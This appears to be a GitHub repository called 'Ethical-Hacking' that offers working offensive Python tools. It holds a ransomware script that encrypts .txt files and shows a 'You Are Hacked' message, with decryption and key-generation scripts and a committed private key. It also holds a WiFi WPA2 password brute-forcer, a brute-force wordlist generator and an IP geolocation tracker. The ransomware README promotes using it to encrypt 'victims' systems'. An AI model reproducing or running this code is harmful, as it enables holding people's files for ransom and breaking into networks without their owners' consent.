├── Ransomware with Pyhton ├── file3.txt ├── file2.txt ├── file1.txt ├── README.md ├── public_key.pem ├── genKey.py ├── Decryption.py ├── Ransomware.py └── private_key.pem ├── Track IP Address ├── README.md └── track_ip_address.py ├── Python Wordlist for Brute Force Password Cracking ├── README.md └── brute file creator.py ├── README.md └── Wifi - Hacking using PyWifi ├── README.md └── pywifi_medium.py /Ransomware with Pyhton/file3.txt: -------------------------------------------------------------------------------- 1 | Data of File 3. -------------------------------------------------------------------------------- /Ransomware with Pyhton/file2.txt: -------------------------------------------------------------------------------- 1 | Data of File 2. 2 | -------------------------------------------------------------------------------- /Ransomware with Pyhton/file1.txt: -------------------------------------------------------------------------------- 1 | File 1. 2 | Dont keep your personal data here. -------------------------------------------------------------------------------- /Track IP Address/README.md: -------------------------------------------------------------------------------- 1 | Requirements: python3
2 | open terminal
3 | 4 | ``` 5 | python -m pip install urllib3 6 | ``` 7 | ``` 8 | python track_ip_address.py 9 | ``` 10 | -------------------------------------------------------------------------------- /Python Wordlist for Brute Force Password Cracking/README.md: -------------------------------------------------------------------------------- 1 | Hola Amigos !
2 | This is a general file for password wordist creation
3 | You can read about it on my blog --> https://rsajal.medium.com/python-wordlist-for-brute-force-password-cracking-9a8c62170bd2
4 | Don't forget to star this repo.
5 | Thank You !!! 6 | -------------------------------------------------------------------------------- /Ransomware with Pyhton/README.md: -------------------------------------------------------------------------------- 1 | # Hello Hackers ☠️👨‍💻
2 | Ever wanted to tease your friends or do a prank on your enemies; if answer is yes then is the right place for you.
3 | With the help of this simple python script you will be able to encrypt your victims system for fun and also be able to recover them.
4 | INTERESTED ?>/.
5 | Click on this link for learning how to use this:

HERE

6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Ethical-Hacking
2 | 7 | -------------------------------------------------------------------------------- /Track IP Address/track_ip_address.py: -------------------------------------------------------------------------------- 1 | import os 2 | import urllib3 3 | import json 4 | 5 | ip = input("Enter target IP: ") 6 | url = "http://ip-api.com/json/" 7 | http = urllib3.PoolManager() 8 | response=http.request("GET",url+ip) 9 | print(response.status) 10 | data=response.read() 11 | values=json.loads(response.data) 12 | print("-------------------------------------------------------") 13 | print("IP: "+values["query"]) 14 | print("City: "+values["city"]) 15 | print("Country: "+values["country"]) 16 | print("Region: "+values["region"]) 17 | print("ISP: "+values["isp"]) 18 | print("Timezone: "+values["timezone"]) 19 | print("-------------------------------------------------------") 20 | -------------------------------------------------------------------------------- /Wifi - Hacking using PyWifi/README.md: -------------------------------------------------------------------------------- 1 | # Py-Wifi Wifi-Hacker !
2 | ### How to use it ?
3 | Star the Repo
4 | Download the File
5 | Requirements -->
6 |
 
 7 | Install python-3.6 or greater 
8 | Open Cmd/Terminal
9 | pip install pywifi
10 | run the file
11 |
12 |
13 | 14 | ### Run File -->
15 | Type - 1 (using only cmd)
16 | NAME_OF_WIFI --> name of wifi you want to hack
17 | PATH_TO_PASSWORD_LIST --> list of password
18 |
19 | python3 pywifi_medium.py -s NAME_OF_WIFI -w PATH_TO_PASSWORD_LIST
20 | 
21 | Type - 2 (using only cmd and code file)
22 | Inside code file change global variables --> client_ssid and path_to_file
23 | 24 | You can create Your own password Worlist using --> Check it Out
25 | -------------------------------------------------------------------------------- /Ransomware with Pyhton/public_key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIICkzANBgkqhkiG9w0BAQEFAAOCAoAAMIICewKCAnIAn6ObAYzV5yS3IiwkvYvL 3 | 44KS/9Hr/uZq16rLOL2jYskQ3mWCj0rygiNYvUIWzvjps0LCSo1EU7WWAjLciO31 4 | m+5F2j8ER+QlgbH8I2SSa2AHSGLQs5CB6qZCE+328w9O/pQID/cCwmi9UX6cdyfW 5 | YChCDe4qVaaflI2RZFdn/aHD0qzQP4g5ysahENM6iTao+L+YHH2n+njGdvLG2S0d 6 | P2e6GttoSg4/MeIIxs8wWKnGpmXa9sb44Kp0ybZFLTZeUPOahw/mQ8aOMrF8PQaC 7 | +s23/zyCl8CUrNz31URit1gpzVw6Nm/i6iHPj8xO0FxMLomxyWWsEqdUKrBFOGhn 8 | OLVxH9IxmfY2o/8s+3Ibw3OSmLKNqY1h+SAgGsUygmnyNk6tRjW9a1CQN925QIYL 9 | cvEPrai0B4FaeqjBW0WxrSxcudgQpBdzeLvVtsn9Yj5PttodutEkhoZZbVUOALvF 10 | 6ZmGP3iA//ywckE71VFHgpawZ+iUrslACur2eRKn4qUo6/Evg5Hj9VAKrZEZKbiE 11 | a0+6Z7dLehTStCoGuIlPgMh8fZgTAbcE9Is4GEuOMGOvMsv8UmDyF6jAr4UTnWZ4 12 | Lt3tkjOGTDH6FDF2/qOCC1/YBsSIli2seRjsyhu/yozwm427t/JLC+ozBrCGP2zZ 13 | phcCJnBxr+x9jfZ9AqTN9BfZThr2LiS69Tc85tANo9/gFtp4LoHPHnEr8I9t+V51 14 | nfM/w3qxSWZ1yDEcCczK1Vh4pDUvd54Jurf8j4YXVwwEpgG2imYkfu8Z7RFJTaOD 15 | dFlBs0/dcmDAVhV39x0kHnGblAchDsRHa/sT5uPfllzBFQIDAQAB 16 | -----END PUBLIC KEY----- 17 | -------------------------------------------------------------------------------- /Ransomware with Pyhton/genKey.py: -------------------------------------------------------------------------------- 1 | from email.policy import default 2 | from cryptography.hazmat.primitives.asymmetric import rsa 3 | from cryptography.hazmat.primitives import serialization 4 | from cryptography.hazmat.backends import default_backend 5 | 6 | try: 7 | private_key = rsa.generate_private_key( 8 | public_exponent=65537, 9 | key_size=int(5e3), 10 | backend=default_backend() 11 | ) 12 | private_pem = private_key.private_bytes( 13 | encoding=serialization.Encoding.PEM, 14 | format=serialization.PrivateFormat.PKCS8, 15 | encryption_algorithm=serialization.NoEncryption() 16 | ) 17 | 18 | with open('private_key.pem', 'wb') as f: 19 | f.write(private_pem) 20 | 21 | public_key = private_key.public_key() 22 | public_pem = public_key.public_bytes( 23 | encoding=serialization.Encoding.PEM, 24 | format=serialization.PublicFormat.SubjectPublicKeyInfo 25 | ) 26 | with open('public_key.pem', 'wb') as f: 27 | f.write(public_pem) 28 | 29 | print("\nSuccessfully created Public and Private Key\n") 30 | 31 | except Exception as e: 32 | print("\nFailure\n") 33 | print(e) -------------------------------------------------------------------------------- /Ransomware with Pyhton/Decryption.py: -------------------------------------------------------------------------------- 1 | import os 2 | import base64 3 | from cryptography.hazmat.primitives.asymmetric import rsa 4 | from cryptography.hazmat.primitives import serialization 5 | from cryptography.hazmat.backends import default_backend 6 | from cryptography.hazmat.primitives.asymmetric import padding 7 | from cryptography.hazmat.primitives import hashes 8 | 9 | files = os.listdir() 10 | def decryption(): 11 | for file in files: 12 | if file.endswith(".txt"): 13 | f = open(file,"rb") 14 | encrypted = f.read() 15 | f = open(file,"wb") 16 | decrypted_txt = decrypt(encrypted) 17 | f.write(decrypted_txt) 18 | 19 | def decrypt(encrypted): 20 | with open("private_key.pem", "rb") as key_file: 21 | private_key = serialization.load_pem_private_key( 22 | key_file.read(), 23 | password=None, 24 | backend=default_backend() 25 | ) 26 | decrypted = private_key.decrypt( 27 | base64.b64decode(encrypted), 28 | padding.OAEP( 29 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 30 | algorithm=hashes.SHA256(), 31 | label=None 32 | ) 33 | ) 34 | return decrypted 35 | 36 | decryption() -------------------------------------------------------------------------------- /Python Wordlist for Brute Force Password Cracking/brute file creator.py: -------------------------------------------------------------------------------- 1 | #################################################################################################################### 2 | ''' 3 | You can Read about every single detail in depth on https://rsajal.medium.com 4 | Link to Github - https://github.com/r-sajal/Ethical-Hacking 5 | ''' 6 | #################################################################################################################### 7 | 8 | # important libraries 9 | import itertools # efficient looping 10 | import string # string functions 11 | import time # time checking 12 | 13 | 14 | def password_wordlist(start_range=8,end_range=10,file_name="brute.txt"): 15 | # string with all characters needed or have potential for being password 16 | chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + '@' + '#' + '$' + '.' 17 | # attempts counter 18 | attempts = 0 19 | # open file 20 | f = open(file_name,'a') 21 | 22 | for password_length in range(start_range, end_range): 23 | for guess in itertools.product(chars,repeat=password_length): 24 | attempts += 1 25 | guess = ''.join(guess) 26 | f.write(guess) # write in file 27 | f.write("\n") 28 | print(guess, attempts) 29 | 30 | # close file 31 | f.close() 32 | 33 | 34 | 35 | start_range = 8 36 | end_range = 10 37 | file_name = "brute_password_list.txt" 38 | 39 | 40 | start_time = time.time() 41 | # Main function Call 42 | password_wordlist(start_range,end_range,file_name) 43 | 44 | end_time = time.time() 45 | 46 | print(end_time-start_time) # print the total time for operation 47 | 48 | ##### Code by Sajal Rastogi 49 | -------------------------------------------------------------------------------- /Ransomware with Pyhton/Ransomware.py: -------------------------------------------------------------------------------- 1 | import os 2 | import base64 3 | from cryptography.hazmat.primitives.asymmetric import rsa 4 | from cryptography.hazmat.primitives import serialization 5 | from cryptography.hazmat.backends import default_backend 6 | from cryptography.hazmat.primitives.asymmetric import padding 7 | from cryptography.hazmat.primitives import hashes 8 | 9 | 10 | files = os.listdir() 11 | 12 | def decrypt(encrypted): 13 | with open("private_key.pem", "rb") as key_file: 14 | private_key = serialization.load_pem_private_key( 15 | key_file.read(), 16 | password=None, 17 | backend=default_backend() 18 | ) 19 | decrypted = private_key.decrypt( 20 | base64.b64decode(encrypted), 21 | padding.OAEP( 22 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 23 | algorithm=hashes.SHA256(), 24 | label=None 25 | ) 26 | ) 27 | return decrypted 28 | 29 | def encrypt(plaintext): 30 | with open("public_key.pem", "rb") as key_file: 31 | public_key = serialization.load_pem_public_key( 32 | key_file.read(), 33 | backend=default_backend() 34 | ) 35 | encrypted = base64.b64encode(public_key.encrypt( 36 | plaintext, 37 | padding.OAEP( 38 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 39 | algorithm=hashes.SHA256(), 40 | label=None 41 | ) 42 | )) 43 | return encrypted 44 | 45 | def encryption(): 46 | for file in files: 47 | if file.endswith(".txt"): 48 | f = open(file,"rb") 49 | plaintext = f.read() 50 | f = open(file,"wb") 51 | encrypted_txt = encrypt(plaintext) 52 | f.write(encrypted_txt) 53 | # print(encrypted_txt) 54 | 55 | 56 | def decryption(): 57 | for file in files: 58 | if file.endswith(".txt"): 59 | f = open(file,"rb") 60 | encrypted = f.read() 61 | f = open(file,"wb") 62 | decrypted_txt = decrypt(encrypted) 63 | f.write(decrypted_txt) 64 | # print(decrypted_txt) 65 | skull = ''' 66 | ______ 67 | .-" "-. 68 | / \\ 69 | | | 70 | |, .-. .-. ,| 71 | /\ | )(__/ \__)( | 72 | _ \/ |/ /\ \| 73 | \_\/ (_ ^^ _) .-==/~\\ 74 | ___/_,__,_\__|IIIIII|__/__)/ /{~}} 75 | ---,---,---|-\IIIIII/-|---,\'-' {{~} 76 | \ / '-==\}/ 77 | `--------` 78 | ''' 79 | try: 80 | print(skull) 81 | print("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") 82 | print("\n You Are Hacked \n") 83 | print("\n Don't Kill The Process You Will Not be Able to Recover Data\n") 84 | print("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\n\n") 85 | 86 | encryption() 87 | try: 88 | print(" ************************************ ") 89 | print("Have you added Decrypt Key (Yes/No) : ") 90 | userInput = input() 91 | while userInput.lower() == "no": 92 | userInput = input() 93 | decryption() 94 | except Exception as e: 95 | print("Decryption Failed") 96 | 97 | except Exception as e: 98 | print("Encryption Failed") 99 | print("Damn Failed Attempt") 100 | 101 | -------------------------------------------------------------------------------- /Ransomware with Pyhton/private_key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIILPwIBADANBgkqhkiG9w0BAQEFAASCCykwggslAgEAAoICcgCfo5sBjNXnJLci 3 | LCS9i8vjgpL/0ev+5mrXqss4vaNiyRDeZYKPSvKCI1i9QhbO+OmzQsJKjURTtZYC 4 | MtyI7fWb7kXaPwRH5CWBsfwjZJJrYAdIYtCzkIHqpkIT7fbzD07+lAgP9wLCaL1R 5 | fpx3J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kDg0UoUvzKAZVwexrxpsDRbbycwchHkIGJOZ+WJMOzbTWZr0vzKeEP5Qqn 53 | NbBkuK/sQMK2NRLIEIhmEaHCcBIj4Jwxmf3fWoUdsr7qks+4OCNjaYsqPYsTp9Kx 54 | Gx8ZUCyBKcaEQsU5n5G2GzypyHQVsrZ4Ty+Nyt09S1DAGON+66xwSi1PFmNPvJlA 55 | a6q3B9GmFACVjIdR4sHqQGsDV8IInwKCATkL3l6MNrvxlnbt/2DFYDIH16juZXQZ 56 | Ty7eeegO90uEMUu7XA0Aa68trCevxdBXTUzWoLYMRBxsFaxi78nPhnStlpNF3fjA 57 | ObZJuvfs4xc5xcNjVzNbw678AdFlgWn5imQudO16s3vuyE99jR+6aMoe9Eup8Fx1 58 | K8IstXISa1R5f4WYc8ExUoORHHCVZ9GiQrEFJOzDJOP+PxCQPOvHNQ5RxbPDmFhW 59 | UULpd/ce9B9ytFoYwZSmhAzJgf9vUWu8Kc/EEvfd6n6gDnsaZyc/zzUUyGa65zAd 60 | nwnQuh7UPe1k3wIM3GBfabVV5RIW6NnozVZ0WCPRDBAb/12IJuLAviJwK9b9XuOS 61 | cLzH6oSPBKRMGzXHM4Ko/t0PSTdcapqeQZv9pRyfgQIakvxsxT+qheGC0KU1SywB 62 | ZYVC 63 | -----END PRIVATE KEY----- 64 | -------------------------------------------------------------------------------- /Wifi - Hacking using PyWifi/pywifi_medium.py: -------------------------------------------------------------------------------- 1 | ############################################################################################################### 2 | 3 | # Github Repo For Hacking Stuff --> https://github.com/r-sajal/Ethical-Hacking/ 4 | 5 | ############################################################################################################### 6 | # Importing General Libraries 7 | import argparse 8 | import sys , os , os.path , platform 9 | import re 10 | import time 11 | 12 | # Importing pywifi library 13 | import pywifi 14 | from pywifi import PyWiFi 15 | from pywifi import const 16 | from pywifi import Profile 17 | 18 | 19 | 20 | # Change According to needs --> 21 | # cient_ssid == name of the wifi which you want to hack 22 | # path to already created brute force password file 23 | 24 | client_ssid = "Dfone" 25 | path_to_file = r"C:\Users\Sajal\Desktop\password.txt" 26 | 27 | ####### 28 | 29 | 30 | 31 | # Setting the color combinations 32 | RED = "\033[1;31m" 33 | BLUE = "\033[1;34m" 34 | CYAN = "\033[1;36m" 35 | GREEN = "\033[0;32m" 36 | RESET = "\033[0;0m" 37 | BOLD = "\033[;1m" 38 | REVERSE = "\033[;7m" 39 | 40 | 41 | try: 42 | # Interface information 43 | wifi = PyWiFi() 44 | ifaces = wifi.interfaces()[0] # for wifi we use index - 0 45 | 46 | ifaces.scan() #check the card 47 | results = ifaces.scan_results() #Obtain the results of the previous triggerred scan. A Profile list will be returned. 48 | 49 | 50 | wifi = pywifi.PyWiFi() # A Profile is the settings of the AP we want to connect to 51 | iface = wifi.interfaces()[0] 52 | 53 | except: 54 | print("[-] Error system") 55 | 56 | type = False 57 | 58 | def main(ssid, password, number): 59 | 60 | profile = Profile() # create profile instance 61 | profile.ssid = ssid #name of client 62 | profile.auth = const.AUTH_ALG_OPEN # auth algo 63 | profile.akm.append(const.AKM_TYPE_WPA2PSK) # key management 64 | profile.cipher = const.CIPHER_TYPE_CCMP #type of cipher 65 | 66 | 67 | profile.key = password # use generated password 68 | iface.remove_all_network_profiles() # remove all the profiles which are previously connected to device 69 | tmp_profile = iface.add_network_profile(profile) # add new profile 70 | time.sleep(0.1) # if script not working change time to 1 !!!!!! 71 | iface.connect(tmp_profile) # trying to Connect 72 | time.sleep(0.35) # 1s 73 | 74 | if ifaces.status() == const.IFACE_CONNECTED: # checker 75 | time.sleep(1) 76 | print(BOLD, GREEN,'[*] Crack success!',RESET) 77 | print(BOLD, GREEN,'[*] password is ' + password, RESET) 78 | time.sleep(1) 79 | exit() 80 | else: 81 | print(RED, '[{}] Crack Failed using {}'.format(number, password)) 82 | 83 | # opening and reading the file 84 | def pwd(ssid, file): 85 | number = 0 86 | with open(file, 'r', encoding='utf8') as words: 87 | for line in words: 88 | number += 1 89 | line = line.split("\n") 90 | pwd = line[0] 91 | main(ssid, pwd, number) 92 | 93 | 94 | 95 | def menu(client_ssid,path_to_file): 96 | 97 | # Argument Parser for making cmd interative 98 | parser = argparse.ArgumentParser(description='argparse Example') 99 | 100 | # adding arguments 101 | parser.add_argument('-s', '--ssid', metavar='', type=str, help='SSID = WIFI Name..') 102 | parser.add_argument('-w', '--wordlist', metavar='', type=str, help='keywords list ...') 103 | 104 | print() 105 | 106 | args = parser.parse_args() 107 | 108 | print(CYAN, "[+] You are using ", BOLD, platform.system(), platform.machine(), "...") 109 | time.sleep(1.5) 110 | 111 | # taking wordlist and ssid if given else take default 112 | if args.wordlist and args.ssid: 113 | ssid = args.ssid 114 | filee = args.wordlist 115 | else: 116 | print(BLUE) 117 | ssid = client_ssid 118 | filee = path_to_file 119 | 120 | 121 | # breaking 122 | if os.path.exists(filee): 123 | if platform.system().startswith("Win" or "win"): 124 | os.system("cls") 125 | else: 126 | os.system("clear") 127 | 128 | print(BLUE,"[~] Cracking...") 129 | pwd(ssid, filee) 130 | 131 | else: 132 | print(RED,"[-] No Such File.",BLUE) 133 | 134 | 135 | 136 | # Main function call 137 | menu(client_ssid , path_to_file) 138 | 139 | 140 | ########################################################################################################################################################### 141 | # END OF FILE 142 | 143 | # Code by Sajal Rastogi 144 | 145 | ########################################################################################################################################################### --------------------------------------------------------------------------------